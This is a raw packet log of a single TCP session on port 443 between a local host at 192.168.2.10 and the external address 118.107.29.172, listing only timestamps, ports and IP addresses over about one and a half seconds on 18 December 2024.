Dec 18, 2024 13:21:00.239727974 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:00.239749908 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:00.239846945 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:00.239846945 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:00.239862919 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:00.239897013 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:00.246534109 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:00.246553898 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:00.246709108 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:00.246731997 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:00.246789932 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:00.253315926 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:00.253335953 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:00.253415108 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:00.253428936 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:00.253489017 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:00.260377884 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:00.260395050 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:00.260452986 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:00.260459900 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:00.260493040 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:00.266581059 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:00.266624928 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:00.266721010 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:00.266726971 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:00.266763926 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:00.273183107 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:00.273207903 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:00.273303986 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:00.273312092 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:00.273346901 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:00.404236078 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:00.404277086 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:00.404337883 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:00.404365063 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:00.404380083 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:00.404398918 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:00.425889969 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:00.425914049 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:00.425976038 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:00.426002026 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:00.426031113 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:00.426049948 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:00.431912899 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:00.431935072 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:00.431993008 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:00.432014942 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:00.432040930 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:00.432056904 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:00.438752890 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:00.438777924 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:00.438831091 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:00.438854933 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:00.438873053 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:00.438898087 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:00.445457935 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:00.445472956 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:00.445538998 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:00.445564985 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:00.445610046 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:00.451486111 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:00.451502085 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:00.451567888 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:00.451591015 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:00.451642990 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:00.458682060 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:00.458698034 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:00.458736897 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:00.458796978 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:00.458807945 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:00.458847046 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:00.464768887 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:00.464783907 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:00.464857101 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:00.464879036 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:00.464925051 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:00.596528053 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:00.596616983 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:00.596664906 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:00.596684933 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:00.596709967 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:00.596736908 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:00.618000984 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:00.618024111 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:00.618099928 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:00.618118048 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:00.618156910 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:00.624830961 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:00.624845982 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:00.624975920 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:00.624989986 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:00.625031948 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:00.630816936 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:00.630832911 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:00.631048918 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:00.631066084 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:00.631103039 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:00.637989998 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:00.638051987 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:00.638088942 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:00.638101101 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:00.638150930 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:00.644520044 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:00.644581079 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:00.644593000 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:00.644606113 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:00.644644976 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:00.650957108 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:00.651021004 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:00.651076078 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:00.651087046 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:00.651118040 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:00.651140928 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:00.657754898 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:00.657835960 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:00.657852888 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:00.657864094 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:00.657896996 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:00.657911062 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:00.788798094 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:00.788902998 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:00.788916111 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:00.788975954 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:00.788980007 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:00.789019108 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:00.810023069 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:00.810046911 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:00.810115099 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:00.810128927 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:00.810148954 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:00.810165882 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:00.816793919 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:00.816812992 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:00.816875935 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:00.816889048 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:00.816911936 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:00.816929102 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:00.823498011 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:00.823513985 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:00.823576927 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:00.823585987 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:00.823622942 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:00.829406023 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:00.829423904 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:00.829489946 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:00.829499006 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:00.829533100 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:00.836324930 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:00.836355925 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:00.836390018 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:00.836401939 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:00.836431026 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:00.836447954 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:00.842823029 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:00.842886925 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:00.842911005 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:00.842921019 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:00.842961073 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:00.842961073 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:00.849668980 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:00.849756956 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:00.849759102 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:00.849812031 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:00.849818945 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:00.849859953 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:00.980815887 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:00.980844021 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:00.980935097 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:00.980962992 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:00.980981112 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:00.981008053 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:01.002377987 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:01.002408028 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:01.002659082 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:01.002667904 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:01.002718925 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:01.009037018 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:01.009077072 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:01.009138107 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:01.009145975 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:01.009190083 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:01.015144110 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:01.015181065 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:01.015222073 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:01.015227079 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:01.015264988 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:01.023874998 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:01.023905993 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:01.023953915 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:01.023957968 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:01.023998976 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:01.029360056 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:01.029377937 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:01.029522896 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:01.029529095 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:01.029561996 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:01.035152912 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:01.035181999 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:01.035269022 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:01.035279989 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:01.035299063 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:01.035324097 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:01.041832924 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:01.041848898 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:01.041930914 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:01.041938066 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:01.044787884 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:01.172951937 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:01.172980070 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:01.173130989 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:01.173147917 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:01.176636934 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:01.194653988 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:01.194679976 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:01.194833994 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:01.194850922 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:01.194902897 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:01.201324940 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:01.201385021 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:01.201410055 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:01.201421976 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:01.201453924 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:01.201473951 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:01.208328009 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:01.208381891 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:01.208410025 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:01.208425045 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:01.208445072 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:01.208463907 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:01.214135885 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:01.214158058 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:01.214265108 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:01.214277983 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:01.217541933 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:01.220890045 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:01.220921993 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:01.220983028 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:01.220999956 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:01.221019983 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:01.221036911 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:01.227389097 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:01.227408886 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:01.227513075 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:01.227534056 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:01.228708029 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:01.234035969 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:01.234055042 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:01.234126091 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:01.234136105 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:01.234277010 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:01.365715027 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:01.365741014 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:01.365837097 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:01.365854979 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:01.368539095 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:01.386775017 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:01.386831999 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:01.386981010 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:01.387013912 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:01.389750957 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:01.393543959 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:01.393591881 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:01.393661976 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:01.393678904 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:01.393692970 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:01.394987106 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:01.400595903 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:01.400646925 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:01.400671959 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:01.400685072 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:01.400700092 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:01.400825024 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:01.406841993 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:01.406866074 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:01.406904936 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:01.406930923 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:01.406944990 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:01.407124043 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:01.413244963 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:01.413268089 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:01.413386106 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:01.413415909 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:01.414623976 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:01.419819117 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:01.419847965 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:01.419881105 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:01.419909000 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:01.419923067 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:01.422142029 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:01.426266909 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:01.426336050 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:01.426348925 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:01.426409960 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:01.564691067 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:01.564728022 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:01.564843893 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:01.564868927 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:01.565403938 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:01.579056025 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:01.579096079 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:01.579205990 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:01.579205990 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:01.579225063 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:01.579381943 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:01.585604906 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:01.585632086 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:01.585695028 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:01.585705996 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:01.585742950 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:01.592426062 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:01.592454910 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:01.592493057 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:01.592504978 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:01.592526913 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:01.592540026 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:01.600249052 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:01.600275040 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:01.600313902 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:01.600331068 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:01.600344896 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:01.600370884 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:01.608025074 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:01.608046055 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:01.608094931 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:01.608112097 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:01.608189106 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:01.608202934 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:01.615200996 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:01.615220070 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:01.615276098 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:01.615289927 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:01.615329981 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:01.621814966 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:01.621840954 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:01.621902943 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:01.621921062 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:01.622553110 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:01.757271051 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:01.757299900 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:01.757370949 CET	49723	443	192.168.2.10	118.107.29.172
